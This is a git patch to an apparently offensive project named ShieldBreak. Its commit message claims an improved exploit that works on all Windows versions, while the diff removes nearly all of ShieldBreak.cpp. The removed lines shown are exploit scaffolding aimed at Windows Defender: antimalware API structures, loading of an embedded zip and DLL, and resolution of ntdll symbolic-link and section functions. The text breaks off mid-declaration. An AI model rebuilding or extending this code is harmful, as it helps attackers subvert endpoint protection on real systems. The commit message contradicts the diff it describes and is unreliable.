From a50dffb61ecc5f68ecaa23ed06fdffb02d438ae7 Mon Sep 17 00:00:00 2001 From: RelunSec Date: Wed, 12 Aug 2026 09:44:31 -0400 Subject: [PATCH] Optimize SchieldBreak to work in windows 10 Hi, @MSNightmare Windows 10 not supported but yeah, we improved the exoloit for windows 10 too do'nt worry, means will work in all windows versions --- ShieldBreak.cpp | 1440 +---------------------------------------------- 1 file changed, 31 insertions(+), 1409 deletions(-) diff --git a/ShieldBreak.cpp b/ShieldBreak.cpp index 879ad4f..cf5cbf6 100644 --- a/ShieldBreak.cpp +++ b/ShieldBreak.cpp @@ -1,1410 +1,32 @@ -// meh -#define _CRT_SECURE_NO_WARNINGS -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "resource.h" -#pragma comment(lib, "ntdll.lib") -#pragma comment(lib, "CldApi.lib") -#pragma comment(lib, "onecore.lib") -#pragma comment(lib, "taskschd.lib") - - -#define ALL_SHARING FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE - -wchar_t scan_target[MAX_PATH] = { 0 }; - -HRSRC hResInfo_zip = FindResource(NULL, MAKEINTRESOURCE(IDR_ZIP1), L"zip"); -HGLOBAL hResData_zip = LoadResource(NULL, hResInfo_zip); -LPVOID pResourceData_zip = LockResource(hResData_zip); -DWORD dwSize_zip = SizeofResource(NULL, hResInfo_zip); - - -HRSRC hResInfo_dll = FindResource(NULL, MAKEINTRESOURCE(IDR_DLL1), L"dll"); -HGLOBAL hResData_dll = LoadResource(NULL, hResInfo_dll); -LPVOID pResourceData_dll = LockResource(hResData_dll); -DWORD dwSize_dll = SizeofResource(NULL, hResInfo_dll); - -#define MP_THREAT_STAT_MAX_VALUE 1000 -#define MP_MAX_SUGGESTIONS 10000 -typedef HANDLE MPHANDLE; -typedef HANDLE* PMPHANDLE; -typedef ULONG MPTHREAT_ID; -typedef ULONG MPRESOURCE_CLASS; -typedef ULONG MP_EXPIRE_REASON; -typedef ULONG MP_EXPIRE_STATE_REPORT; -typedef LPWSTR MP_MIDL_STRING; -typedef struct tagMPCALLBACK_INFO { - void* CallbackHandler; - __int64 v4; -} MPCALLBACK_INFO, * PMPCALLBACK_INFO; - - - -typedef enum tagMPTHREAT_TYPE { - MPTHREAT_TYPE_KNOWNBAD = 0, - MPTHREAT_TYPE_BEHAVIOR = 1, - MPTHREAT_TYPE_UNKNOWN = 2, - MPTHREAT_TYPE_KNOWNGOOD = 3, - MPTHREAT_TYPE_NIS = 4, - MPTHREAT_TYPE_MAXVALUE = 4 -} MPTHREAT_TYPE, * PMPTHREAT_TYPE; - -typedef enum tagMPTHREAT_SOURCE { - MPTHREAT_SOURCE_SCAN = 0, - MPTHREAT_SOURCE_ACTIVE = 1, - MPTHREAT_SOURCE_HISTORY = 2, - MPTHREAT_SOURCE_QUARANTINE = 3, - MPTHREAT_SOURCE_SIGNATURE = 4, - MPTHREAT_SOURCE_STATE = 5, - MPTHREAT_SOURCE_MAXVALUE = 5 -} MPTHREAT_SOURCE, * PMPTHREAT_SOURCE; -typedef enum tagMPSCAN_TYPE { - MPSCAN_TYPE_UNKNOWN = 0, - MPSCAN_TYPE_QUICK = 1, - MPSCAN_TYPE_FULL = 2, - MPSCAN_TYPE_RESOURCE = 3, - MPSCAN_TYPE_MAXVALUE = 3 -} MPSCAN_TYPE, * PMPSCAN_TYPE; -typedef enum tagMPSOURCE { - MPSOURCE_UNKNOWN = 0, - MPSOURCE_USER = 1, - MPSOURCE_SYSTEM = 2, - MPSOURCE_REALTIME = 3, - MPSOURCE_IOAV = 4, - MPSOURCE_NIS = 5, - MPSOURCE_BHO = 6, - MPSOURCE_IEPROTECT = 6, - MPSOURCE_ELAM = 7, - MPSOURCE_LOCAL_ATTESTATION = 8, - MPSOURCE_REMOTE_ATTESTATION = 9, - MPSOURCE_AMSI = 10, - MP_SOURCE_MAXVALUE = 10 -} MPSOURCE, * PMPSOURCE; - - -typedef enum tagMPTHREAT_SEVERITY { - MP_THREAT_SEVERITY_UNKNOWN = 0, - MP_THREAT_SEVERITY_LOW = 1, - MP_THREAT_SEVERITY_MODERATE = 2, - MP_THREAT_SEVERITY_HIGH = 4, - MP_THREAT_SEVERITY_SEVERE = 5, - MP_THREAT_SEVERITY_MAXVALUE = 5 -} MPTHREAT_SEVERITY, * PMPTHREAT_SEVERITY; - -typedef struct tagMPTHREAT_STATS_DATA { - DWORD dwThreatCount; -} MPTHREAT_STATS_DATA, * PMPTHREAT_STATS_DATA; - -typedef struct tagMPCOMPONENT_STATUS { - BOOL fEnable; - HRESULT hResult; -} MPCOMPONENT_STATUS, * PMPCOMPONENT_STATUS; - -typedef struct tagMPTHREAT_STATS { - UINT ThreatCount; - UINT SuspiciousThreatCount; - UINT Reserved[4]; -} MPTHREAT_STATS, * PMPTHREAT_STATS; - -typedef enum tagMPTHREAT_CATEGORY { - MP_THREAT_CATEGORY_INVALID = 0, - MP_THREAT_CATEGORY_ADWARE = 1, - MP_THREAT_CATEGORY_SPYWARE = 2, - MP_THREAT_CATEGORY_PASSWORDSTEALER = 3, - MP_THREAT_CATEGORY_TROJANDOWNLOADER = 4, - MP_THREAT_CATEGORY_WORM = 5, - MP_THREAT_CATEGORY_BACKDOOR = 6, - MP_THREAT_CATEGORY_REMOTEACCESSTROJAN = 7, - MP_THREAT_CATEGORY_TROJAN = 8, - MP_THREAT_CATEGORY_EMAILFLOODER = 9, - MP_THREAT_CATEGORY_KEYLOGGER = 10, - MP_THREAT_CATEGORY_DIALER = 11, - MP_THREAT_CATEGORY_MONITORINGSOFTWARE = 12, - MP_THREAT_CATEGORY_BROWSERMODIFIER = 13, - MP_THREAT_CATEGORY_COOKIE = 14, - MP_THREAT_CATEGORY_BROWSERPLUGIN = 15, - MP_THREAT_CATEGORY_AOLEXPLOIT = 16, - MP_THREAT_CATEGORY_NUKER = 17, - MP_THREAT_CATEGORY_SECURITYDISABLER = 18, - MP_THREAT_CATEGORY_JOKEPROGRAM = 19, - MP_THREAT_CATEGORY_HOSTILEACTIVEXCONTROL = 20, - MP_THREAT_CATEGORY_SOFTWAREBUNDLER = 21, - MP_THREAT_CATEGORY_STEALTHNOTIFIER = 22, - MP_THREAT_CATEGORY_SETTINGSMODIFIER = 23, - MP_THREAT_CATEGORY_TOOLBAR = 24, - MP_THREAT_CATEGORY_REMOTECONTROLSOFTWARE = 25, - MP_THREAT_CATEGORY_TROJANFTP = 26, - MP_THREAT_CATEGORY_POTENTIALUNWANTEDSOFTWARE = 27, - MP_THREAT_CATEGORY_ICQEXPLOIT = 28, - MP_THREAT_CATEGORY_TROJANTELNET = 29, - MP_THREAT_CATEGORY_EXPLOIT = 30, - MP_THREAT_CATEGORY_FILESHARINGPROGRAM = 31, - MP_THREAT_CATEGORY_MALWARE_CREATION_TOOL = 32, - MP_THREAT_CATEGORY_REMOTE_CONTROL_SOFTWARE = 33, - MP_THREAT_CATEGORY_TOOL = 34, - MP_THREAT_CATEGORY_TROJAN_DENIALOFSERVICE = 36, - MP_THREAT_CATEGORY_TROJAN_DROPPER = 37, - MP_THREAT_CATEGORY_TROJAN_MASSMAILER = 38, - MP_THREAT_CATEGORY_TROJAN_MONITORINGSOFTWARE = 39, - MP_THREAT_CATEGORY_TROJAN_PROXYSERVER = 40, - MP_THREAT_CATEGORY_VIRUS = 42, - MP_THREAT_CATEGORY_KNOWN = 43, - MP_THREAT_CATEGORY_UNKNOWN = 44, - MP_THREAT_CATEGORY_SPP = 45, - MP_THREAT_CATEGORY_BEHAVIOR = 46, - MP_THREAT_CATEGORY_VULNERABILTIY = 47, - MP_THREAT_CATEGORY_POLICY = 48 -} MPTHREAT_CATEGORY, * PMPTHREAT_CATEGORY; - -typedef enum tagMPTHREAT_STATUS { - MP_THREAT_STATUS_UNKNOWN = 0, - MP_THREAT_STATUS_DETECTED = 1, - MP_THREAT_STATUS_CLEANED = 2, - MP_THREAT_STATUS_QUARANTINED = 3, - MP_THREAT_STATUS_REMOVED = 4, - MP_THREAT_STATUS_ALLOWED = 5, - MP_THREAT_STATUS_BLOCKED = 6, - MP_THREAT_STATUS_CLEAN_FAILED = 102, - MP_THREAT_STATUS_QUARANTINE_FAILED = 103, - MP_THREAT_STATUS_REMOVE_FAILED = 104, - MP_THREAT_STATUS_ALLOW_FAILED = 105, - MP_THREAT_STATUS_ABANDONED = 106, - MP_THREAT_STATUS_BLOCK_FAILED = 107 -} MPTHREAT_STATUS, * PMPTHREAT_STATUS; - -typedef enum tagMPTHREAT_DETECTION { - MP_THREAT_DETECTION_CONCRETE = 0, - MP_THREAT_DETECTION_HEURISTIC = 1, - MP_THREAT_DETECTION_GENERIC = 2, - MP_THREAT_DETECTION_SUSPICIOUS = 4, - MP_THREAT_DETECTION_FASTPATH = 8 -} MPTHREAT_DETECTION, * PMPTHREAT_DETECTION; - -typedef struct tagMPRESOURCE_STATS { - DWORD PPMProgress; - UINT64 ProcessCount; - UINT64 FileCount; - UINT64 FileBytesCount; - UINT64 RegKeyCount; - UINT64 Reserved[4]; -} MPRESOURCE_STATS, * PMPRESOURCE_STATS; - -typedef struct tagMPSCAN_RESULT { - MPSCAN_TYPE ScanType; - MPSOURCE Source; - GUID ScanGuid; - ULARGE_INTEGER StartTime; - ULARGE_INTEGER EndTime; - MPTHREAT_STATS ThreatStats; - MPRESOURCE_STATS ResourceStats; - ULONGLONG SignatureVersion; -} MPSCAN_RESULT, * PMPSCAN_RESULT; - -typedef enum tagMPTHREAT_ACTION { - MP_THREAT_ACTION_UNKNOWN = 0, - MP_THREAT_ACTION_CLEAN = 1, - MP_THREAT_ACTION_QUARANTINE = 2, - MP_THREAT_ACTION_REMOVE = 3, - MP_THREAT_ACTION_ALLOW = 6, - MP_THREAT_ACTION_USERDEFINED = 8, - MP_THREAT_ACTION_NOACTION = 9, - MP_THREAT_ACTION_BLOCK = 10, - MP_THREAT_ACTION_MAX_VALUE = 10 -} MPTHREAT_ACTION, * PMPTHREAT_ACTION; - -typedef enum tagMPEXECUTION_STATUS { - MP_EXECUTION_STATUS_UNKNOWN = 0, - MP_EXECUTION_STATUS_BLOCKED = 1, - MP_EXECUTION_STATUS_ALLOWED = 2, - MP_EXECUTION_STATUS_EXECUTING = 3, - MP_EXECUTION_STATUS_NOT_EXECUTING = 4 -} MPEXECUTION_STATUS, * PMPEXECUTION_STATUS; - -typedef struct tagMPTHREAT_INFOEX_UNUSED { - DWORD dwNone; -} MPTHREAT_INFOEX_UNUSED, * PMPTHREAT_INFOEX_UNUSED; - - -typedef enum tagMP_HASH_TYPE { - MP_HASH_TYPE_NONE = 0, - MP_HASH_TYPE_CRC32 = 2, - MP_HASH_TYPE_MD5 = 4, - MP_HASH_TYPE_SHA1 = 8, - MP_HASH_TYPE_SHA256 = 16 -} MP_HASH_TYPE, * PMP_HASH_TYPE; - -typedef enum tagMPDETECTION_STATE { - MPDETECTION_STATE_UNKNOWN = 0, - MPDETECTION_STATE_ACTIVE = 1, - MPDETECTION_STATE_FINISHED = 2, - MPDETECTION_STATE_ADDITIONAL_ACTIONS = 3, - MPDETECTION_STATE_FAILED = 4, - MPDETECTION_STATE_CRITICALLY_FAILED = 5, - MPDETECTION_STATE_CLEARED = 6 -} MPDETECTION_STATE, * PMPDETECTION_STATE; - -typedef enum tagMPDETECTION_ORIGIN { - MPDETECTION_ORIGIN_UNKNOWN = 0, - MPDETECTION_ORIGIN_LOCAL_MACHINE = 1 << 0, - MPDETECTION_ORIGIN_NETWORKSHARE = 1 << 1, - MPDETECTION_ORIGIN_INTERNET = 1 << 2, - MPDETECTION_ORIGIN_OUTBOUND = 1 << 3, - MPDETECTION_ORIGIN_INBOUND = 1 << 4 -} MPDETECTION_ORIGIN, * PMPDETECTION_ORIGIN; - -typedef enum tagMPRESOLVED_REASON { - MPRESOLVED_REASON_UNKNOWN = 0, - MPRESOLVED_REASON_FULL_SCAN = 1, - MPRESOLVED_REASON_TIMED_OUT = 2 -} MPRESOLVED_REASON, * PMPRESOLVED_REASON; - -typedef enum tagMPCOMPONENT_ID { - MPCOMPONENT_AS_SIGNATURE = 0, - MPCOMPONENT_AV_SIGNATURE = 1, - MPCOMPONENT_REALTIME_MONITOR = 2, - MPCOMPONENT_ONACCESS_PROTECTION = 3, - MPCOMPONENT_IOAV_PROTECTION = 4, - MPCOMPONENT_BEHAVIOR_MONITOR = 5, - MPCOMPONENT_AUTO_SCAN = 6, - MPCOMPONENT_AUTO_SIGUPDATE = 7, - MPCOMPONENT_IPC = 8, - MPCOMPONENT_NIS = 9, - MPCOMPONENT_ELAM = 10, - MPCOMPONENT_MAXVALUE = 10 -} MPCOMPONENT_ID, * PMPCOMPONENT_ID; - - -typedef enum tagMPNOTIFY { - MPNOTIFY_NONE = 0, - MPNOTIFY_CALL_START = 0x1001, - MPNOTIFY_CALL_COMPLETE = 0x1002, - MPNOTIFY_INTERNAL_FAILURE = 0x2001, - MPNOTIFY_STATUS_SERVICE_START = 0x3001, - MPNOTIFY_STATUS_SERVICE_RUNNING = 0x3002, - MPNOTIFY_STATUS_SERVICE_STOP = 0x3003, - MPNOTIFY_STATUS_COMPONENT = 0x3004, - MPNOTIFY_STATUS_CHANGE = 0x3005, - MPNOTIFY_STATUS_COMPONENT_CONFIGURATION = 0x3006, - MPNOTIFY_STATUS_EXPIRATION_CHANGE = 0x3007, - MPNOTIFY_STATUS_OFFLINE_SCAN_CHANGE = 0x3008, - MPNOTIFY_SCAN_START = 0x4001, - MPNOTIFY_SCAN_PAUSED = 0x4002, - MPNOTIFY_SCAN_RESUMED = 0x4003, - MPNOTIFY_SCAN_CANCEL = 0x4004, - MPNOTIFY_SCAN_COMPLETE = 0x4005, - MPNOTIFY_SCAN_PROGRESS = 0x4006, - MPNOTIFY_SCAN_ERROR = 0x4007, - MPNOTIFY_SCAN_INFECTED = 0x4008, - MPNOTIFY_SCAN_MEMORYSTART = 0x4009, - MPNOTIFY_SCAN_MEMORYCOMPLETE = 0x4010, - MPNOTIFY_SCAN_SFC_BUILD_START = 0x4011, - MPNOTIFY_SCAN_SFC_BUILD_COMPLETE = 0x4012, - MPNOTIFY_SCAN_FASTPATH_START = 0x4013, - MPNOTIFY_SCAN_FASTPATH_COMPLETE = 0x4014, - MPNOTIFY_SCAN_FASTPATH_PROGRESS = 0x4015, - MPNOTIFY_CLEAN_START, - MPNOTIFY_CLEAN_COMPLETE, - MPNOTIFY_CLEAN_RESTOREPOINT_START, - MPNOTIFY_CLEAN_RESTOREPOINT_SUCCEEDED, - MPNOTIFY_CLEAN_RESTOREPOINT_FAILED, - MPNOTIFY_CLEAN_THREAT_START, - MPNOTIFY_CLEAN_THREAT_SUCCEEDED, - MPNOTIFY_CLEAN_THREAT_FAILED, - MPNOTIFY_CLEAN_RESOURCE_SUCCEEDED, - MPNOTIFY_CLEAN_RESOURCE_FAILED, - MPNOTIFY_CLEAN_THREAT_COMPLETE, - MPNOTIFY_PRECHECK_START, - MPNOTIFY_PRECHECK_COMPLETE, - MPNOTIFY_PRECHECK_RESOURCE_BLOCKED, - MPNOTIFY_THREAT_DETECTED, - MPNOTIFY_THREAT_MODIFIED, - MPNOTIFY_THREAT_CLEAN_SUCCEEDED, - MPNOTIFY_THREAT_CLEAN_FAILED, - MPNOTIFY_THREAT_ABANDONED, - MPNOTIFY_THREAT_CLEAN_EVENT_START, - MPNOTIFY_THREAT_CLEAN_EVENT_COMPLETE, - MPNOTIFY_SIGUPDATE_START, - MPNOTIFY_SIGUPDATE_SEARCH_START, - MPNOTIFY_SIGUPDATE_SEARCH_COMPLETE, - MPNOTIFY_SIGUPDATE_SOFTWARE_UPDATE_AVAILABLE, - MPNOTIFY_SIGUPDATE_DOWNLOAD_START, - MPNOTIFY_SIGUPDATE_DOWNLOAD_PROGRESS, - MPNOTIFY_SIGUPDATE_DOWNLOAD_COMPLETE, - MPNOTIFY_SIGUPDATE_INSTALL_START, - MPNOTIFY_SIGUPDATE_INSTALL_PROGRESS, - MPNOTIFY_SIGUPDATE_INSTALL_COMPLETE, - MPNOTIFY_SIGUPDATE_REBOOT_REQUIRED, - MPNOTIFY_SIGUPDATE_REQUEST_PROCESSED, - MPNOTIFY_SIGUPDATE_COMPLETE, - MPNOTIFY_SAMPLE_START, - MPNOTIFY_SAMPLE_COMPLETE, - MPNOTIFY_SAMPLE_ITEM_START, - MPNOTIFY_SAMPLE_ITEM_SUCCEEDED, - MPNOTIFY_SAMPLE_ITEM_FAILED, - MPNOTIFY_RESERVED_DATA, - MPNOTIFY_FASTPATH_SIG_ADDED, - MPNOTIFY_FASTPATH_SIG_REMOVED, - MPNOTIFY_NIS_PRIVATE, - MPNOTIFY_HEALTH_CHANGE, - MPNOTIFY_HEALTH_RECOVERY, - MPNOTIFY_HEALTH_START, - MPNOTIFY_ENDOFLIFE_CHANGE, - MPNOTIFY_MALWARETOAST_DATA -} MPNOTIFY, * PMPNOTIFY; - -typedef enum tagMPSIGUPDATE_TYPE { - MPSIGUPDATE_TYPE_NONE, - MPSIGUPDATE_TYPE_MANAGED, - MPSIGUPDATE_TYPE_HTTP, - MPSIGUPDATE_TYPE_HTTP_SRV, - MPSIGUPDATE_TYPE_UNC, - MPSIGUPDATE_TYPE_UNMANAGED, - MPSIGUPDATE_TYPE_MANAGED_PLATFORM, - MPSIGUPDATE_TYPE_UNMANAGED_PLATFORM -} MPSIGUPDATE_TYPE, * PMPSIGUPDATE_TYPE; - - -typedef enum tagMP_UPDATE_STAGE { - MP_STAGE_UNKNOWN, - MP_SEARCH_UPDATE, - MP_DOWNLOAD_UPDATE, - MP_INSTALL_UPDATE -} MP_UPDATE_STAGE, * PMP_UPDATE_STAGE; - -typedef enum tagMP_SIGNATURE_TYPE { - MP_SIGNATURE_ANTIMALWARE = 0, - MP_SIGNATURE_ANTIVIRUS = 1, - MP_SIGNATURE_ANTISPYWARE = 2, - MP_SIGNATURE_NIS = 3, - MP_SIGNATURE_TYPES_MAXVALUE = 3 -} MP_SIGNATURE_TYPE, * PMP_SIGNATURE_TYPE; - -typedef enum tagMP_FASTPATH_TYPE { - MP_FASTPATH_UNKNOWN = 0, - MP_FASTPATH_VDM = 1, - MP_FASTPATH_DISABLED = 2 -} MP_FASTPATH_TYPE, * PMP_FASTPATH_TYPE; - - -typedef enum tagMP_PERSISTENCE_LIMIT_TYPE { - MP_PERSISTENCE_UNKNOWN = 0, - MP_PERSISTENCE_NO_LIMIT = 1, - MP_PERSISTENCE_DURATION = 2, - MP_PERSISTENCE_VDM_VERSION = 3, - MP_PERSISTENCE_TIMESTAMP = 4, - MP_PERSISTENCE_FORCED = 5 -} MP_PERSISTENCE_LIMIT_TYPE, * PMP_PERSISTENCE_LIMIT_TYPE; - -typedef enum tagMP_REMOVAL_REASON { - MP_REMOVAL_UNKNOWN = 0, - MP_REMOVAL_MANUAL = 1, - MP_REMOVAL_AUTOMATIC = 2 -} MP_REMOVAL_REASON, * PMP_REMOVAL_REASON; - -typedef enum tagMPCALLBACK_TYPE { - MPCALLBACK_UNKNOWN = 0, - MPCALLBACK_STATUS = 1, - MPCALLBACK_THREAT = 2, - MPCALLBACK_SCAN = 3, - MPCALLBACK_CLEAN = 4, - MPCALLBACK_PRECHECK = 5, - MPCALLBACK_SIGUPDATE = 6, - MPCALLBACK_SAMPLE = 7, - MPCALLBACK_RESERVED = 8, - MPCALLBACK_CONFIGURATION_NOTIFICATION = 9, - MPCALLBACK_FASTPATH = 10, - MPCALLBACK_PRODUCT_EXPIRATION = 11, - MPCALLBACK_NIS_PRIVATE = 12, - MPCALLBACK_HEALTH = 13, - MPCALLBACK_ENDOFLIFE = 14, - MPCALLBACK_MALWARETOAST = 15, - MPCALLBACK_MAXVALUE = 15 -} MPCALLBACK_TYPE, * PMPCALLBACK_TYPE; - - - -typedef struct tagMPTHREAT_INFOEX_BEHAVIOR { - ULARGE_INTEGER SignatureID; - ULONGLONG EngineVersion; - ULONGLONG ASDeltaSignatureVersion; - ULONGLONG AVDeltaSignatureVersion; - MP_HASH_TYPE HashType; - DWORD FidelityValue; - MP_MIDL_STRING HashValue; - MP_MIDL_STRING TargetFileName; - MP_MIDL_STRING TargetFileHash; -} MPTHREAT_INFOEX_BEHAVIOR, * PMPTHREAT_INFOEX_BEHAVIOR; - -typedef struct tagMPTHREAT_INFOEX_NIS { - MP_MIDL_STRING SourceIP; - MP_MIDL_STRING DestinationIP; - DWORD dwSourceport; - DWORD dwDestinationport; - MP_MIDL_STRING Protocol; - MP_MIDL_STRING Link; -} MPTHREAT_INFOEX_NIS, * PMPTHREAT_INFOEX_NIS; - -typedef struct tagMPSTATUS_INFO { - DWORD ProductStatus; - MPSCAN_RESULT LastQuickScan; - MPSCAN_RESULT LastFullScan; - MPTHREAT_STATS ThreatStats; - MPTHREAT_STATS_DATA ThreatState[MP_THREAT_STAT_MAX_VALUE + 1]; - MPCOMPONENT_STATUS Component[MPCOMPONENT_MAXVALUE + 1]; - ULARGE_INTEGER ProductExpirationTime; -} MPSTATUS_INFO, * PMPSTATUS_INFO; - -typedef struct tagMPSTATUS_DATAEX_UNUSED { - DWORD dwNone; -} MPSTATUS_DATAEX_UNUSED, * PMPSTATUS_DATAEX_UNUSED; - -typedef struct tagMPSTATUS_DATA { - MPCOMPONENT_ID ComponentID; - BOOL fEnable; - union { - PMPSTATUS_DATAEX_UNUSED p1; - PMPSTATUS_DATAEX_UNUSED p2; - PMPSTATUS_DATAEX_UNUSED p3; - PMPSTATUS_DATAEX_UNUSED p4; - PMPSTATUS_DATAEX_UNUSED p5; - PMPSTATUS_DATAEX_UNUSED p6; - PMPSTATUS_DATAEX_UNUSED p7; - PMPSTATUS_DATAEX_UNUSED p8; - PMPSTATUS_DATAEX_UNUSED p9; - PMPSTATUS_DATAEX_UNUSED pa; - PMPSTATUS_DATAEX_UNUSED pb; - } ComponentStatus; -} MPSTATUS_DATA, * PMPSTATUS_DATA; - -typedef struct tagMPRESOURCE_INFO { - MP_MIDL_STRING Scheme; - MP_MIDL_STRING Path; - MPRESOURCE_CLASS Class; -} MPRESOURCE_INFO, * PMPRESOURCE_INFO; - -typedef struct tagMPSCAN_DATA { - MPSCAN_TYPE ScanType; - PMPRESOURCE_INFO ResourceInfo; - MPRESOURCE_STATS ResourceStats; - MPTHREAT_STATS ThreatStats; -} MPSCAN_DATA, * PMPSCAN_DATA; - -typedef struct tagMPCLEAN_DATA { - MPTHREAT_ID ThreatID; - MPTHREAT_ACTION ThreatAction; - DWORD dwStatus; - PMPRESOURCE_INFO ResourceInfo; -} MPCLEAN_DATA, * PMPCLEAN_DATA; - -typedef struct tagMPCLEAN_PRECHECK_DATA { - PMPRESOURCE_INFO BlockedResourceInfo; - PMPRESOURCE_INFO BlockingResourceInfo; -} MPCLEAN_PRECHECK_DATA, * PMPCLEAN_PRECHECK_DATA; - -typedef struct tagMPTHREAT_DATA { - MPTHREAT_ID ThreatID; - DWORD dwSessionID; - MPTHREAT_ACTION ThreatAction; - DWORD dwStatus; -} MPTHREAT_DATA, * PMPTHREAT_DATA; - -typedef struct tagMPSIGUPDATE_DATA { - DWORD dwPercentComplete; - DWORD dwTotalUpdates; - DWORD dwCurrentUpdateIndex; - MPSIGUPDATE_TYPE eType; - MP_UPDATE_STAGE Stage; - MP_MIDL_STRING Path; -} MPSIGUPDATE_DATA, * PMPSIGUPDATE_DATA; - -typedef struct tagMPSAMPLE_DATA { - DWORD dwSampleIndex; -} MPSAMPLE_DATA, * PMPSAMPLE_DATA; - -typedef struct tagMPRESERVED_DATA { - DWORD cbReservedData; - BYTE* pbReservedData; -} MPRESERVED_DATA, * PMPRESERVED_DATA; - -typedef struct tagMPCONFIGURATION_DATA { - MP_MIDL_STRING ConfigurationName; - DWORD DataType; - DWORD PreviousDataSize; - BYTE* pPreviousData; - DWORD CurrentDataSize; - BYTE* pCurrentData; -} MPCONFIGURATION_DATA, * PMPCONFIGURATION_DATA; - -typedef struct tagMPFASTPATH_DATA { - MP_SIGNATURE_TYPE SignatureType; - MP_FASTPATH_TYPE FastPathSignatureType; - MP_MIDL_STRING FastPathSignatureVersion; - ULARGE_INTEGER CompilationTimestamp; - MP_PERSISTENCE_LIMIT_TYPE PersistenceType; - MP_MIDL_STRING PersistenceValue; - MP_MIDL_STRING PersistencePath; - MP_REMOVAL_REASON Reason; -} MPFASTPATH_DATA, * PMPFASTPATH_DATA; - -typedef struct tagMPEXPIRATION_DATA { - MP_EXPIRE_REASON Reason; - MP_EXPIRE_STATE_REPORT State; -} MPEXPIRATION_DATA, * PMPEXPIRATION_DATA; - -typedef struct tagMPNIS_PRIVATE_DATA { - DWORD dwNotificationType; - DWORD cbDataSize; - BYTE* pbData; -} MPNIS_PRIVATE_DATA, * PMPNIS_PRIVATE_DATA; - -typedef struct tagMPHEALTH_DATA { - DWORD dwNotificationType; - DWORD dwNotificationFlag; -} MPHEALTH_DATA, * PMPHEALTH_DATA; - -typedef struct tagMPENDOFLIFE_DATA { - FILETIME ftSignatureExpiry; - FILETIME ftPlatformExpiry; - BOOL fAdminControlled; - BOOL fEndOfLifeImpendingOrPast; -} MPENDOFLIFE_DATA, * PMPENDOFLIFE_DATA; - -typedef struct tagMPMALWARETOAST_DATA { - DWORD dwThreatId; - MP_MIDL_STRING pszThreatName; -} MPMALWARETOAST_DATA, * PMPMALWARETOAST_DATA; - -typedef struct tagMPCALLBACK_DATA { - MPNOTIFY Notify; - HRESULT hResult; - ULARGE_INTEGER TimeStamp; - MPCALLBACK_TYPE Type; - union { - PMPSTATUS_DATA pStatusData; - PMPSCAN_DATA pScanData; - PMPCLEAN_DATA pCleanData; - PMPCLEAN_PRECHECK_DATA pPrecheckData; - PMPTHREAT_DATA pThreatData; - PMPSIGUPDATE_DATA pSigUpdateData; - PMPSAMPLE_DATA pSampleData; - PMPRESERVED_DATA pReservedData; - PMPCONFIGURATION_DATA pConfigurationData; - PMPFASTPATH_DATA pFastPathData; - PMPEXPIRATION_DATA pExpirationData; - PMPNIS_PRIVATE_DATA pNISPrivateData; - PMPHEALTH_DATA pHealthData; - PMPENDOFLIFE_DATA pEndOfLifeData; - PMPMALWARETOAST_DATA pMalwareToastData; - } Data; -} MPCALLBACK_DATA, * PMPCALLBACK_DATA; - -typedef struct tagMPTHREAT_INFO { - MPTHREAT_ID ThreatID; - GUID DetectionID; - MP_MIDL_STRING Name; - MPTHREAT_TYPE ThreatType; - MPTHREAT_SEVERITY ThreatCriticality; - MPTHREAT_CATEGORY ThreatCategory; - DWORD ThreatShortDescriptionID; - DWORD ThreatAdviseDescriptionID; - MPTHREAT_STATUS ThreatStatus; - DWORD SuggestedActionCount; - MPTHREAT_ACTION SuggestedActionArray[MP_MAX_SUGGESTIONS]; - DWORD ResourceCount; - PMPRESOURCE_INFO* ResourceList[1024]; // old: ResourceList[ResourceCount]; - ULARGE_INTEGER ThreatStatusTime; - HRESULT ThreatStatusCode; - MPTHREAT_DETECTION ThreatDetection; - GUID QuarantineGuid; - MPEXECUTION_STATUS ExecutionStatus; - union { - PMPTHREAT_INFOEX_UNUSED pKnownBad; - PMPTHREAT_INFOEX_BEHAVIOR pBehavior; - PMPTHREAT_INFOEX_UNUSED pUnknown; - PMPTHREAT_INFOEX_UNUSED pKnownGood; - PMPTHREAT_INFOEX_NIS pNis; - } Data; - MPDETECTION_STATE State; - MP_MIDL_STRING DetectionUser; - MPSOURCE DetectionSource; - MP_MIDL_STRING ProcessName; - MPDETECTION_ORIGIN DetectionOrigin; - DWORD reserved1; - ULARGE_INTEGER DetectionTime; - MPEXECUTION_STATUS PreExecutionStatus; - ULARGE_INTEGER RemediationTime; - MPEXECUTION_STATUS PostExecutionStatus; - BOOL CriticalFailure; - DWORD NonCriticalReason; - MP_MIDL_STRING RemediationUser; - DWORD RemediationResourceCount; - PMPRESOURCE_INFO RemediationResourceList[1024]; // old: RemediationResourceList[RemediationResourceCount] - BOOL FailureResolved; - MPRESOLVED_REASON ResolvedReason; - DWORD AdditionalActions; - DWORD ResolvedActions; - DWORD dwThreatStatusFlag; -} MPTHREAT_INFO, * PMPTHREAT_INFO; - -typedef struct tagMPSCAN_RESOURCES { - DWORD dwResourceCount; - PMPRESOURCE_INFO pResourceList; -} MPSCAN_RESOURCES, * PMPSCAN_RESOURCES; - - - -HMODULE ntdllhm = GetModuleHandle(L"ntdll.dll"); - -NTSTATUS(WINAPI* _NtCreateSection)( - OUT PHANDLE SectionHandle, - IN ULONG DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, - IN PLARGE_INTEGER MaximumSize OPTIONAL, - IN ULONG PageAttributess, - IN ULONG SectionAttributes, - IN HANDLE FileHandle OPTIONAL) = (NTSTATUS(WINAPI*)( - OUT PHANDLE SectionHandle, - IN ULONG DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, - IN PLARGE_INTEGER MaximumSize OPTIONAL, - IN ULONG PageAttributess, - IN ULONG SectionAttributes, - IN HANDLE FileHandle OPTIONAL))GetProcAddress(ntdllhm, "NtCreateSection"); - -typedef enum _SECTION_INHERIT { - ViewShare = 1, - ViewUnmap = 2 -} SECTION_INHERIT, * PSECTION_INHERIT; - -NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)( - OUT PHANDLE pHandle, - IN ACCESS_MASK DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes, - IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)( - OUT PHANDLE pHandle, - IN ACCESS_MASK DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes, - IN PUNICODE_STRING DestinationName))GetProcAddress(ntdllhm, "NtCreateSymbolicLinkObject"); -NTSTATUS(WINAPI* _NtCreateDirectoryObjectEx)( - 